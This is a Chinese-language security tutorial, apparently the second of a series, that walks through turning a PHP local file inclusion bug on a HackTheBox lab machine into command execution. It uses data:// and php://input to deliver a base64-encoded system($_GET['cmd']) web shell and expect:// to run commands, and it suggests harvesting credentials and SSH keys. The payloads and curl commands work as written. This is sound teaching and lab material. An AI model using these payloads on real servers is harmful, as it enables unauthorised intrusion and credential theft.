当前位置:首页>php>LFI 到 RCE:使用 PHP 包装器将文件读取转换为代码执行

LFI 到 RCE:使用 PHP 包装器将文件读取转换为代码执行

  • 2026-10-11 08:08:12
LFI 到 RCE:使用 PHP 包装器将文件读取转换为代码执行

官网:http://securitytech.cc

利用 data://、php://input 和 expect://,从一个简单的文件包含错误演变成一个 shell 攻击。

**注意**:这是我的文件包含漏洞系列文章的第二部分。如果您还没有阅读第一部分,我介绍了本地文件包含漏洞 (LFI)、目录遍历、过滤器绕过以及使用php://filter包装器读取 PHP 源代码——建议您在深入阅读本文之前先阅读第一部分,因为我们将在此基础上进行讲解。

到目前为止,我们所做的一切都只是读取文件——系统文件、配置文件、PHP 源代码。这固然有用,但我们不会止步于此。下一步是在服务器上实际执行代码。

有几种方法可以做到这一点。一种枯燥但有效的方法是翻阅你已经有权访问的文件——配置文件通常包含数据库密码,而人们往往会重复使用密码。检查一下config.php,找到一个凭据,然后尝试用它通过 SSH 登录。或者直接查看/home/username/.ssh/——如果权限设置得比较松散,你或许可以直接获取私钥并成功登录。

但本节并非着重讨论这个。我们将使用 PHP 封装器,通过本地文件包含漏洞直接执行远程代码——无需任何凭据。

为此,我正在 HackTheBox 上的一个机器上进行测试。这里存在漏洞的参数是 `<language_file>` language,它通常接收一个语言文件(例如 `<language_file>`)es.php来切换页面语言。这就是我们的注入点。

按回车键或点击查看完整尺寸的图片

一个条件

在一切正常运行之前,必须确保一件事:allow_url_include必须在 PHP 配置中启用该选项。默认情况下它是关闭的,但这种情况比您想象的要普遍得多——许多插件和 Web 应用程序都会启用它才能正常工作。

我们可以像之前阅读源代码一样检查它——使用php://filter包装器提取 PHP 配置文件并对其进行 base64 编码:

curl "http: // <IP> : <端口> /index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini "

解码输出结果并用 grep 命令查找该设置:

echo 'W1BIUF0K....' | base64 -d | grep allow_url_include

如果你能回来:

allow_url_include =开启

一切就绪。

数据//包装器

这个data://封装器允许你将数据直接注入到包含文件中——包括 PHP 代码。思路很简单:编写一个 Web shell,对其进行 Base64 编码,然后将其传递给封装器。服务器会对其进行解码并执行。

首先,对 shell 进行编码:

echo ' <?php system ( $_GET [ "cmd" ]); ?> ' | base64 # PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

然后将其传递给包装器,并在末尾加上你的命令:

http : //<IP>:<PORT> /index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

或者使用 curl:

curl -s 'http:// <IP> : <PORT> /index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id ' | grep uid

按回车键或点击查看完整尺寸的图片

服务器以管理员身份运行了我们的命令www-data。我们成功登录。

php://input 包装器

这种方法原理相同,区别在于不是将 PHP 代码嵌入 URL,而是将其放在 POST 请求的正文中发送。allow_url_include要求也相同。

curl -s -X POST --data ' <?php system ( $_GET [ " cmd" ]); ?> ' \\ "http:// <IP> : <PORT> /index.php?language=php://input&cmd=id " | grep uid

shell 脚本放在 POST 请求体中,命令作为 GET 参数放在 URL 中。需要注意的是,如果存在漏洞的函数只接受 POST 请求而不接受 GET 请求,则无法将其cmd作为 URL 参数传递。在这种情况下,请直接在 PHP 代码中硬编码命令:

<?php system ( 'id' ); ?>

按回车键或点击查看完整尺寸的图片

预期//包装器

这是三者中最简单直接的——它就是专门用来运行命令的。无需 shell,只需直接传递命令即可:

?language= expect : //id

需要注意的是,这expect是一个外部扩展,并非 PHP 默认自带的。它必须手动安装到服务器上。您可以像以前一样检查它是否已安装:

echo 'W1BIUF0K....' | base64 -d | grep expect # extension=expect

在配置文件中找到它固然令人鼓舞,但这并不能保证它在运行时实际加载。唯一的真正验证方法就是实际测试。在本例中,它在目标设备上不可用,这很常见——虽然这种情况比较少见,但每当遇到本地文件包含漏洞时都值得检查一下。

快速比较

这三个封装器都有一个共同的入口要求——allow_url_include必须启用。区别在于有效载荷的传递方式:

  • data://所有信息都包含在URL中,并进行Base64编码。
  • php://input— shell 放在 POST 请求体中,命令放在 URL 中。
  • expect://— 无需 shell,命令直接放在 URL 中(罕见)

在下一部分中,我们将完全跳出服务器的框架——我们不再通过 URL 注入代码,而是研究远程文件包含,即在我们的机器上托管我们自己的恶意脚本,并让易受攻击的服务器远程获取并执行它。

    • 公众号:安全狗的自我修养

    • vx:2207344074

    • http://gitee.com/haidragon

    • http://github.com/haidragon

    • bilibili:haidragonx

      最新文章

      随机文章